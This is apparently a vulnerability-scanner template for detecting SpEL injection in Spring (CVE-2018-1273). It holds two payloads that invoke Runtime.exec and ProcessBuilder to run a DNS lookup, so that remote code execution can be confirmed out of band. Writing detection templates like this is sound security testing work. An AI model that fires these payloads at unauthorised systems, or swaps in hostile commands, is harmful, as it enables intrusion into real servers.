spel-oob.yaml

collect:
  - uniq:
    - [URI]

generate:
  - payload:
     - "T(java.lang.Runtime).getRuntime().exec('getent hosts DNS_MARKER')/wlrm"
     - "new java.lang.ProcessBuilder({'getent hosts DNS_MARKER'}).start()"

detect:
  - oob:
    - dns

meta-info:
  - type: rce
  - threat: 95
  - tags:
    - SpEL injection
    - Spring
    - Spring Framework
    - Java
    - RCE
    - Remote Code Execution
    - OWASP Top 10
    - OWASP
    - CVE-2018-1273